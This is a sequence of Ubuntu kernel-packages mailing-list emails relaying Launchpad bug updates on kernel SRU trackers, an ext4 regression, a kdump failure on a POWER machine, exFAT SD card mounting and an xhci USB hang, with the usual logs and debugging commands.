  [   73.058099] GPR00: c07f3568 c03f8269fc70 c16eaf00 
0063
  [   73.058099] GPR04: c03fef47ce18 c03fef494368 90009033 
31da0058
  [   73.058099] GPR08: 0007 0001  
90001003
  [   73.058099] GPR12: c07f24a0 c7a2e400 0e4fa497c900 

  [   73.058099] GPR16: 0e4f79cc94b0 0e4f79d567e0 0e4f79d88204 
0e4f79d56818
  [   73.058099] GPR20: 

[Kernel-packages] [Bug 1781435] Re: linux-aws: 4.15.0-1015.15 -proposed tracker

[Steve Beattie]

** Changed in: kernel-sru-workflow/security-signoff
   Status: In Progress => Fix Released

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-aws in Ubuntu.
https://bugs.launchpad.net/bugs/1781435

Title:
  linux-aws: 4.15.0-1015.15 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  Fix Released
Status in Kernel SRU Workflow certification-testing series:
  Invalid
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-security series:
  New
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  Confirmed
Status in Kernel SRU Workflow security-signoff series:
  Fix Released
Status in Kernel SRU Workflow snap-release-to-beta series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-candidate series:
  New
Status in Kernel SRU Workflow snap-release-to-edge series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-stable series:
  Invalid
Status in Kernel SRU Workflow upload-to-ppa series:
  New
Status in Kernel SRU Workflow verification-testing series:
  Confirmed
Status in linux-aws package in Ubuntu:
  Invalid
Status in linux-aws source package in Bionic:
  Confirmed

Bug description:
  This bug is for tracking the  upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see: 
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow
  -- swm properties --
  boot-testing-requested: true
  kernel-stable-master-bug: 1781433
  phase: Promoted to proposed
  proposed-announcement-sent: true
  proposed-testing-requested: true

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1781435/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1781709] Re: [Regression] EXT4-fs error (device sda2): ext4_validate_block_bitmap:383: comm stress-ng: bg 4705: bad block bitmap checksum

[dann frazier]

** Changed in: linux (Ubuntu)
   Status: Incomplete => In Progress

** Changed in: linux (Ubuntu Bionic)
   Status: Incomplete => In Progress

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781709

Title:
  [Regression] EXT4-fs error (device sda2):
  ext4_validate_block_bitmap:383: comm stress-ng: bg 4705: bad block
  bitmap checksum

Status in linux package in Ubuntu:
  In Progress
Status in linux source package in Bionic:
  In Progress

Bug description:
  We applied a partial fix for a regression in LP: #1780137 - that
  applied to inode bitmaps. We also need a fix for block bitmaps.

  https://marc.info/?l=linux-ext4=153143692320723=2

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1781709/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1781206] Missing required logs.

[Ubuntu Kernel Bot]

This bug is missing log files that will aid in diagnosing the problem.
While running an Ubuntu kernel (not a mainline or third-party kernel)
please enter the following command in a terminal window:

apport-collect 1781206

and then change the status of the bug to 'Confirmed'.

If, due to the nature of the issue you have encountered, you are unable
to run this command, please add a comment stating that fact and change
the bug status to 'Confirmed'.

This change has been made by an automated script, maintained by the
Ubuntu Kernel Team.

** Changed in: linux (Ubuntu)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781206

Title:
  after kernel update from 4.15.0-23 to 4.17.5 in ubuntu 18.04, end
  trace error 0eb71c21001ff265 is showing while booting and not
  proceeding forward

Status in linux package in Ubuntu:
  Incomplete

Bug description:
  Initially, it has shown End kernel panic VFS: unable to mount block(0,0). So 
I booted into 4.15.0-23(older version) through grub menu and updated grub file 
by the command "sudo update-grub."
  Later it is showing end trace error 0eb71c21001ff265 and not proceeding 
forward.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: ubuntu-release-upgrader-core 1:18.04.19
  ProcVersionSignature: Ubuntu 4.15.0-23.25-generic 4.15.18
  Uname: Linux 4.15.0-23-generic x86_64
  NonfreeKernelModules: kpatch_livepatch_Ubuntu_4_15_0_23_25_generic_40
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  CrashDB: ubuntu
  CurrentDesktop: ubuntu:GNOME
  Date: Wed Jul 11 17:52:21 2018
  InstallationDate: Installed on 2018-07-06 (4 days ago)
  InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
  PackageArchitecture: all
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_IN
   SHELL=/bin/bash
  SourcePackage: ubuntu-release-upgrader
  Symptom: release-upgrade
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1781206/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1644981] Re: ExFAT Formatted SD Cards not mounted

[Christopher M. Penalver]

Sebastian Nohn, to keep this relevant to upstream, one will want to
continue testing the latest mainline kernel as it is released (now
4.18-rc5). Could you please advise?

** Tags added: bios-outdated-206 needs-upstream-testing regression-
release

** Changed in: linux (Ubuntu)
   Status: Confirmed => Incomplete

** Tags removed: kernel-bug-exists-upstream
** Tags added: kernel-bug-exists-upstream-4.9-rc7

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1644981

Title:
  ExFAT Formatted SD Cards not mounted

Status in linux package in Ubuntu:
  Incomplete

Bug description:
  ExFAT formatted SD cards aren't mounted ob Ubuntu 16.04. The cards
  work perfectly on 12.04, 14.04 and Windows.

  Nov 26 11:21:22 bnasws02 kernel: [93798.228489] usb 1-8: new high-speed USB 
device number 7 using xhci_hcd
  Nov 26 11:21:22 bnasws02 kernel: [93798.358675] usb 1-8: New USB device 
found, idVendor=058f, idProduct=6366
  Nov 26 11:21:22 bnasws02 kernel: [93798.358678] usb 1-8: New USB device 
strings: Mfr=1, Product=2, SerialNumber=3
  Nov 26 11:21:22 bnasws02 kernel: [93798.358680] usb 1-8: Product: Flash Card 
Reader/Writer
  Nov 26 11:21:22 bnasws02 kernel: [93798.358682] usb 1-8: Manufacturer: Generic
  Nov 26 11:21:22 bnasws02 kernel: [93798.358683] usb 1-8: SerialNumber: 
058F63666485
  Nov 26 11:21:22 bnasws02 kernel: [93798.359894] usb-storage 1-8:1.0: USB Mass 
Storage device detected
  Nov 26 11:21:22 bnasws02 kernel: [93798.359950] scsi host7: usb-storage 
1-8:1.0
  Nov 26 11:21:22 bnasws02 mtp-probe: checking bus 1, device 7: 
"/sys/devices/pci:00/:00:14.0/usb1/1-8"
  Nov 26 11:21:22 bnasws02 mtp-probe: bus: 1, device: 7 was not an MTP device
  Nov 26 11:21:23 bnasws02 kernel: [93799.357754] scsi 7:0:0:0: Direct-Access   
  Multiple Card  Reader 1.00 PQ: 0 ANSI: 4
  Nov 26 11:21:23 bnasws02 kernel: [93799.358491] sd 7:0:0:0: Attached scsi 
generic sg1 type 0
  Nov 26 11:21:27 bnasws02 kernel: [93802.408280] sd 7:0:0:0: [sdb] Attached 
SCSI removable disk

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: linux-image-generic 4.4.0.47.50
  ProcVersionSignature: Ubuntu 4.4.0-47.68-generic 4.4.24
  Uname: Linux 4.4.0-47-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.1
  Architecture: amd64
  AudioDevicesInUse:
   USER PID ACCESS COMMAND
   /dev/snd/controlC0:  sebastian   2240 F pulseaudio
   /dev/snd/controlC1:  sebastian   2240 F pulseaudio
  CurrentDesktop: GNOME
  Date: Sat Nov 26 11:22:03 2016
  HibernationDevice: RESUME=UUID=bdba64aa-c323-4ba7-a32d-bc49a2716cc7
  InstallationDate: Installed on 2015-08-06 (477 days ago)
  InstallationMedia: Ubuntu 14.04.2 LTS "Trusty Tahr" - Release amd64 
(20150218.1)
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 007: ID 058f:6366 Alcor Micro Corp. Multi Flash Reader
   Bus 001 Device 003: ID 064e:9700 Suyin Corp. Asus Integrated Webcam
   Bus 001 Device 002: ID 8087:0a2a Intel Corp. 
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: ASUSTeK COMPUTER INC. UX305LA
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.4.0-47-generic.efi.signed 
root=/dev/mapper/ubuntu--vg-root ro quiet splash vt.handoff=7
  RelatedPackageVersions:
   linux-restricted-modules-4.4.0-47-generic N/A
   linux-backports-modules-4.4.0-47-generic  N/A
   linux-firmware1.157.5
  SourcePackage: linux
  UpgradeStatus: Upgraded to xenial on 2016-11-21 (4 days ago)
  dmi.bios.date: 07/06/2015
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: UX305LA.204
  dmi.board.asset.tag: ATN12345678901234567
  dmi.board.name: UX305LA
  dmi.board.vendor: ASUSTeK COMPUTER INC.
  dmi.board.version: 1.0
  dmi.chassis.asset.tag: ATN12345678901234567
  dmi.chassis.type: 10
  dmi.chassis.vendor: ASUSTeK COMPUTER INC.
  dmi.chassis.version: 1.0
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvrUX305LA.204:bd07/06/2015:svnASUSTeKCOMPUTERINC.:pnUX305LA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX305LA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:
  dmi.product.name: UX305LA
  dmi.product.version: 1.0
  dmi.sys.vendor: ASUSTeK COMPUTER INC.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1644981/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1778844] Re: ISST-LTE:PNV:Ubuntu180401:Witherspoon:woo: After triggering crash, kdump is not working and system enters into initramfs state

[Thadeu Lima de Souza Cascardo]

As we use MODULES=dep for kdump initrd, that might fail to include the
proper modules. It would be a bug on initramfs-tools-core.

Can you change /etc/initramfs-tools/initramfs.conf to have MODULES=dep
instead of MODULES=most and run mkinitramfs -o /tmp/initrd.img `uname
-r`, then send me output?

Also, I need the data usually collected for kernel bugs. /sys/ at least
comes to mind, but also complete dmesg after normal boot and some other
important files to detect root mountpoint, like /etc/fstab,
/proc/cmdline and /proc/mounts.

Thank you.
Cascardo.

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1778844

Title:
  ISST-LTE:PNV:Ubuntu180401:Witherspoon:woo: After triggering
  crash,kdump is not working and system enters into initramfs state

Status in The Ubuntu-power-systems project:
  Triaged
Status in linux package in Ubuntu:
  New

Bug description:
  Problem Description:
  ===
  After triggering crash ,kdump is not working & system enters into initramfs 
state

  Steps to re-create:
  ==

  >. woo is installed ubuntu180401 kernel

  root@woo:~# uname -a
  Linux woo 4.15.0-23-generic #25-Ubuntu SMP Wed May 23 17:59:00 UTC 2018 
ppc64le ppc64le ppc64le GNU/Linux
  root@woo:~#

  >. Crashkernel value as below

  root@woo:~# free -h
totalusedfree  shared  buff/cache   
available
  Mem:   503G2.0G501G 13M279M
499G
  Swap:  2.0G  0B2.0G

  root@woo:~# cat /proc/cmdline
  root=UUID=45bb7eb2-4c61-425d-8bf9-4e6f16829ddb ro splash quiet 
crashkernel=8192M

  >  kdump status

  root@woo:~#  kdump-config status
  current state   : ready to kdump

  root@woo:~#  kdump-config show
  DUMP_MODE:kdump
  USE_KDUMP:1
  KDUMP_SYSCTL: kernel.panic_on_oops=1
  KDUMP_COREDIR:/var/crash
  crashkernel addr:
 /var/lib/kdump/vmlinuz: symbolic link to /boot/vmlinux-4.15.0-23-generic
  kdump initrd:
 /var/lib/kdump/initrd.img: symbolic link to 
/var/lib/kdump/initrd.img-4.15.0-23-generic
  current state:ready to kdump

  kexec command:
/sbin/kexec -p 
--command-line="root=UUID=45bb7eb2-4c61-425d-8bf9-4e6f16829ddb ro splash quiet 
nr_cpus=1 systemd.unit=kdump-tools.service irqpoll noirqdistrib nousb" 
--initrd=/var/lib/kdump/initrd.img /var/lib/kdump/vmlinuz

  root@woo:~# dmesg | grep Reser
  [0.00] Reserving 8192MB of memory at 128MB for crashkernel (System 
RAM: 524288MB)
  [0.00] cma: Reserved 26224 MiB at 0x20399500
  [3.545490] Copyright (C) 2017-2018 Broadcom. All Rights Reserved. The 
term "Broadcom" refers to Broadcom Limited and/or its subsidiaries.

  > Triggered crash

  root@woo:~# echo 1 > /proc/sys/kernel/sysrq
  root@woo:~# echo c > /proc/sysrq-trigger
  [   73.056308] sysrq: SysRq : Trigger a crash
  [   73.056357] Unable to handle kernel paging request for data at address 
0x
  [   73.056459] Faulting instruction address: 0xc07f24c8
  [   73.056543] Oops: Kernel access of bad area, sig: 11 [#1]
  [   73.056609] LE SMP NR_CPUS=2048 NUMA PowerNV
  [   73.056668] Modules linked in: rdma_ucm(OE) ib_ucm(OE) rdma_cm(OE) 
iw_cm(OE) ib_ipoib(OE) ib_cm(OE) ib_uverbs(OE) ib_umad(OE) esp6_offload esp6 
esp4_offload esp4 xfrm_algo mlx5_fpga_tools(OE) mlx4_en(OE) mlx4_ib(OE) 
mlx4_core(OE) rpcsec_gss_krb5 nfsv4 nfs fscache binfmt_misc idt_89hpesx 
vmx_crypto crct10dif_vpmsum ofpart cmdlinepart ipmi_powernv ipmi_devintf at24 
powernv_flash ipmi_msghandler ibmpowernv mtd opal_prd uio_pdrv_genirq uio nfsd 
auth_rpcgss nfs_acl lockd sch_fq_codel grace sunrpc knem(OE) ip_tables x_tables 
autofs4 btrfs xor zstd_compress raid6_pq mlx5_ib(OE) ib_core(OE) nouveau lpfc 
ast i2c_algo_bit ttm mlx5_core(OE) drm_kms_helper mlxfw(OE) nvmet_fc devlink 
syscopyarea nvmet mlx_compat(OE) sysfillrect cxl nvme_fc sysimgblt fb_sys_fops 
nvme_fabrics nvme ahci crc32c_vpmsum drm scsi_transport_fc
  [   73.057601]  tg3 libahci nvme_core pnv_php
  [   73.057652] CPU: 44 PID: 4626 Comm: bash Tainted: G   OE
4.15.0-23-generic #25-Ubuntu
  [   73.057767] NIP:  c07f24c8 LR: c07f3568 CTR: 
c07f24a0
  [   73.057868] REGS: c03f8269f9f0 TRAP: 0300   Tainted: G   OE
 (4.15.0-23-generic)
  [   73.057986] MSR:  90009033   CR: 2822 
 XER: 2004
  [   73.058099] CFAR: c07f3564 DAR:  DSISR: 4200 
SOFTE: 1
  [   73.058099] GPR00: c07f3568 c03f8269fc70 c16eaf00 
0063
  [   73.058099] GPR04: c03fef47ce18 c03fef494368 90009033 
31da0058
  [   73.058099] GPR08: 0007 0001  
90001003
  [   73.058099] GPR12: c07f24a0 c7a2e400 0e4fa497c900 

  [   73.058099] GPR16: 0e4f79cc94b0 0e4f79d567e0 0e4f79d88204 

[Kernel-packages] [Bug 366478] Re: 058f:6377 Alcor Micro Corp. Multimedia Card Reader don't work in Ubuntu 9.04/9.10

[Christopher M. Penalver]

Paolo.Dirienzo, give you have different hardware, and root cause issue (the 
reader stopped working, while this report is about it never worked in the 
past), it will help immensely if you use the computer the problem is 
reproducible with, and provide necessary debugging logs by filing a new report 
with Ubuntu via a terminal:
ubuntu-bug linux

Please feel free to subscribe me to it.

** Changed in: linux (Ubuntu)
   Importance: Medium => Low

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/366478

Title:
  058f:6377 Alcor Micro Corp. Multimedia Card Reader don't work in
  Ubuntu 9.04/9.10

Status in linux package in Ubuntu:
  Incomplete

Bug description:
  In Ubuntu 8.10 this cardreader - work fine, but after upgrade Ubuntu
  from 8.10 to 9.04 - it's not work.

  In lsusb - it displayed:
  Bus 001 Device 005: ID 058f:6377 Alcor Micro Corp. Multimedia Card Reader
  but in system - not displayed.
  When insert memory card - nothing happened (only green diod light)

  Ubuntu 9.04 amd64
  uname -a:
  Linux leolik-komp 2.6.28-11-generic #42-Ubuntu SMP Fri Apr 17 01:58:03 UTC 
2009 x86_64 GNU/Linux

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/366478/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1781206] Re: after kernel update from 4.15.0-23 to 4.17.5 in ubuntu 18.04, end trace error 0eb71c21001ff265 is showing while booting and not proceeding forward

[Brian Murray]

** Package changed: ubuntu-release-upgrader (Ubuntu) => linux (Ubuntu)

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781206

Title:
  after kernel update from 4.15.0-23 to 4.17.5 in ubuntu 18.04, end
  trace error 0eb71c21001ff265 is showing while booting and not
  proceeding forward

Status in linux package in Ubuntu:
  New

Bug description:
  Initially, it has shown End kernel panic VFS: unable to mount block(0,0). So 
I booted into 4.15.0-23(older version) through grub menu and updated grub file 
by the command "sudo update-grub."
  Later it is showing end trace error 0eb71c21001ff265 and not proceeding 
forward.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: ubuntu-release-upgrader-core 1:18.04.19
  ProcVersionSignature: Ubuntu 4.15.0-23.25-generic 4.15.18
  Uname: Linux 4.15.0-23-generic x86_64
  NonfreeKernelModules: kpatch_livepatch_Ubuntu_4_15_0_23_25_generic_40
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  CrashDB: ubuntu
  CurrentDesktop: ubuntu:GNOME
  Date: Wed Jul 11 17:52:21 2018
  InstallationDate: Installed on 2018-07-06 (4 days ago)
  InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
  PackageArchitecture: all
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_IN
   SHELL=/bin/bash
  SourcePackage: ubuntu-release-upgrader
  Symptom: release-upgrade
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1781206/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1781206] [NEW] after kernel update from 4.15.0-23 to 4.17.5 in ubuntu 18.04, end trace error 0eb71c21001ff265 is showing while booting and not proceeding forward

[Launchpad Bug Tracker]

You have been subscribed to a public bug:

Initially, it has shown End kernel panic VFS: unable to mount block(0,0). So I 
booted into 4.15.0-23(older version) through grub menu and updated grub file by 
the command "sudo update-grub."
Later it is showing end trace error 0eb71c21001ff265 and not proceeding forward.

ProblemType: Bug
DistroRelease: Ubuntu 18.04
Package: ubuntu-release-upgrader-core 1:18.04.19
ProcVersionSignature: Ubuntu 4.15.0-23.25-generic 4.15.18
Uname: Linux 4.15.0-23-generic x86_64
NonfreeKernelModules: kpatch_livepatch_Ubuntu_4_15_0_23_25_generic_40
ApportVersion: 2.20.9-0ubuntu7.2
Architecture: amd64
CrashDB: ubuntu
CurrentDesktop: ubuntu:GNOME
Date: Wed Jul 11 17:52:21 2018
InstallationDate: Installed on 2018-07-06 (4 days ago)
InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
PackageArchitecture: all
ProcEnviron:
 TERM=xterm-256color
 PATH=(custom, no user)
 XDG_RUNTIME_DIR=
 LANG=en_IN
 SHELL=/bin/bash
SourcePackage: ubuntu-release-upgrader
Symptom: release-upgrade
UpgradeStatus: No upgrade log present (probably fresh install)

** Affects: linux (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: amd64 apport-bug bionic dist-upgrade
-- 
after kernel update from 4.15.0-23 to 4.17.5 in ubuntu 18.04, end trace error 
0eb71c21001ff265 is showing while booting and not proceeding forward
https://bugs.launchpad.net/bugs/1781206
You received this bug notification because you are a member of Kernel Packages, 
which is subscribed to linux in Ubuntu.

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1781115] Re: linux-gcp: 4.15.0-1013.13~16.04.1 -proposed tracker

[Steve Beattie]

Regression USN needed.

** Changed in: kernel-sru-workflow/security-signoff
   Status: In Progress => Fix Released

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-gcp in Ubuntu.
https://bugs.launchpad.net/bugs/1781115

Title:
  linux-gcp: 4.15.0-1013.13~16.04.1 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  Confirmed
Status in Kernel SRU Workflow certification-testing series:
  Invalid
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-security series:
  New
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  Fix Released
Status in Kernel SRU Workflow security-signoff series:
  Fix Released
Status in Kernel SRU Workflow snap-release-to-beta series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-candidate series:
  New
Status in Kernel SRU Workflow snap-release-to-edge series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-stable series:
  Invalid
Status in Kernel SRU Workflow upload-to-ppa series:
  New
Status in Kernel SRU Workflow verification-testing series:
  Confirmed
Status in linux-gcp package in Ubuntu:
  Invalid
Status in linux-gcp source package in Xenial:
  Confirmed

Bug description:
  This bug is for tracking the  upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see: 
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow
  -- swm properties --
  boot-testing-requested: true
  kernel-stable-master-bug: 1781433
  phase: Promoted to proposed
  proposed-announcement-sent: true
  proposed-testing-requested: true

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1781115/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1763594] Re: xhci hangs; reset results in NULL pointer dereference

[Launchpad Bug Tracker]

Status changed to 'Confirmed' because the bug affects multiple users.

** Changed in: linux-oem (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-oem in Ubuntu.
https://bugs.launchpad.net/bugs/1763594

Title:
  xhci hangs; reset results in NULL pointer dereference

Status in HWE Next:
  New
Status in linux package in Ubuntu:
  Incomplete
Status in linux-oem package in Ubuntu:
  Confirmed
Status in linux source package in Bionic:
  Incomplete
Status in linux-oem source package in Bionic:
  Fix Committed

Bug description:
  ===SRU Justification===
  [Impact]
  xHC stops to work after some time. This happens when the xHC gets
  runtime resumed/suspended constantly.

  [Test]
  User reports this backport fixes the issue.

  [Fix]
  In addition to check EINT, also check ports' status.

  [Regression Potential]
  Low. It fixes a known bug and it's in -stable.

  ===Original Bug Report===

  Now and then, my xhci bus will hang, resulting in these kinds of
  messages in dmesg:

  [252220.002102] xhci_hcd :00:14.0: xHC is not running.
  [252220.037491] xhci_hcd :00:14.0: xHCI host controller not responding, 
assume dead
  [252220.037500] xhci_hcd :00:14.0: HC died; cleaning up
  [252220.133794] usb 1-2: USB disconnect, device number 2
  [252220.135042] usb 1-7: USB disconnect, device number 3
  [252220.137455] usb 1-8: USB disconnect, device number 4
  [252220.243317] usb 1-9: USB disconnect, device number 5

  Usually, I can fix this bij resetting the bus by calling a script
  reset-xhci:

  for xhci in /sys/bus/pci/drivers/?hci_hcd ; do
    cd $xhci
    echo Resetting devices from $xhci...
    for i in :??:??.? ; do
  echo -n "$i" > unbind
  echo -n "$i" > bind
    done
  done

  But doing this today resulted in a kernel bug:

  [252243.401814] xhci_hcd :00:14.0: remove, state 4
  [252243.401887] usb usb2: USB disconnect, device number 1
  [252243.470365] xhci_hcd :00:14.0: USB bus 2 deregistered
  [252243.470378] xhci_hcd :00:14.0: remove, state 4
  [252243.470383] usb usb1: USB disconnect, device number 1
  [252243.470831] xhci_hcd :00:14.0: Host halt failed, -19
  [252243.470837] xhci_hcd :00:14.0: Host not accessible, reset failed.
  [252243.475918] xhci_hcd :00:14.0: USB bus 1 deregistered
  [252243.475938] [ cut here ]
  [252243.475939] xhci_hcd :00:14.0: disabling already-disabled device
  [252243.475951] WARNING: CPU: 2 PID: 1787 at 
/build/linux-bdpCf2/linux-4.15.0/drivers/pci/pci.c:1642 
pci_disable_device+0x9c/0xc0
  [252243.475951] Modules linked in: cpuid snd_seq_dummy usb_storage 
hid_generic hidp ip6t_REJECT nf_reject_ipv6 ip6table_nat nf_nat_ipv6 
ip6table_mangle xt_hashlimit ip6table_raw nf_conntrack_ipv6 nf_defrag_ipv6 
nf_log_ipv6 xt_recent xt_comment ipt_REJECT nf_reject_ipv4 xt_mark 
iptable_mangle xt_tcpudp xt_CT iptable_raw xt_multiport xt_NFLOG nfnetlink_log 
nf_log_ipv4 nf_log_common xt_LOG nf_conntrack_sane nf_conntrack_netlink 
nfnetlink nf_nat_tftp nf_nat_snmp_basic nf_conntrack_snmp nf_nat_sip 
nf_nat_pptp nf_nat_proto_gre nf_nat_irc nf_nat_h323 nf_nat_ftp nf_nat_amanda 
nf_conntrack_tftp nf_conntrack_sip nf_conntrack_pptp nf_conntrack_proto_gre 
nf_conntrack_netbios_ns nf_conntrack_broadcast nf_conntrack_irc 
nf_conntrack_h323 nf_conntrack_ftp ts_kmp nf_conntrack_amanda ipt_MASQUERADE 
nf_nat_masquerade_ipv4
  [252243.475984]  xfrm_user xfrm_algo iptable_nat nf_conntrack_ipv4 
nf_defrag_ipv4 nf_nat_ipv4 xt_addrtype xt_conntrack nf_nat nf_conntrack 
br_netfilter aufs vhost_net vhost tap ccm rfcomm bridge stp llc devlink 
ebtable_filter ebtables ip6table_filter ip6_tables iptable_filter msr cmac bnep 
binfmt_misc snd_hda_codec_hdmi nls_iso8859_1 arc4 snd_soc_skl 
snd_hda_codec_realtek snd_soc_skl_ipc snd_hda_ext_core snd_hda_codec_generic 
snd_soc_sst_dsp snd_soc_sst_ipc snd_soc_acpi snd_soc_core snd_compress ac97_bus 
snd_pcm_dmaengine snd_hda_intel dell_laptop dell_smbios_smm dcdbas 
snd_hda_codec dell_smm_hwmon snd_hda_core snd_hwdep snd_pcm intel_rapl 
snd_seq_midi snd_seq_midi_event x86_pkg_temp_thermal intel_powerclamp coretemp 
snd_rawmidi kvm_intel kvm btusb irqbypass intel_cstate intel_rapl_perf snd_seq 
btrtl
  [252243.476023]  iwlmvm btbcm btintel mac80211 hid_multitouch uvcvideo joydev 
input_leds dell_smbios_wmi snd_seq_device dell_wmi bluetooth serio_raw 
snd_timer videobuf2_vmalloc videobuf2_memops videobuf2_v4l2 dell_smbios 
videobuf2_core iwlwifi sparse_keymap ecdh_generic snd wmi_bmof 
dell_wmi_descriptor videodev cfg80211 media soundcore rtsx_pci_ms memstick 
shpchp mei_me mei processor_thermal_device intel_pch_thermal intel_soc_dts_iosf 
int3400_thermal acpi_thermal_rel dell_rbtn mac_hid acpi_pad int3403_thermal 
int340x_thermal_zone tpm_crb sch_fq_codel cuse parport_pc ppdev nfsd lp parport 
auth_rpcgss nfs_acl lockd grace sunrpc ip_tables x_tables autofs4 btrfs 
zstd_compress 

[Kernel-packages] [Bug 1781072] Re: linux-azure: 4.15.0-1017.17~16.04.1 -proposed tracker

[Steve Beattie]

Regression USN needed.

** Changed in: kernel-sru-workflow/security-signoff
   Status: In Progress => Fix Released

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-azure in Ubuntu.
https://bugs.launchpad.net/bugs/1781072

Title:
  linux-azure: 4.15.0-1017.17~16.04.1 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  Fix Released
Status in Kernel SRU Workflow certification-testing series:
  Invalid
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
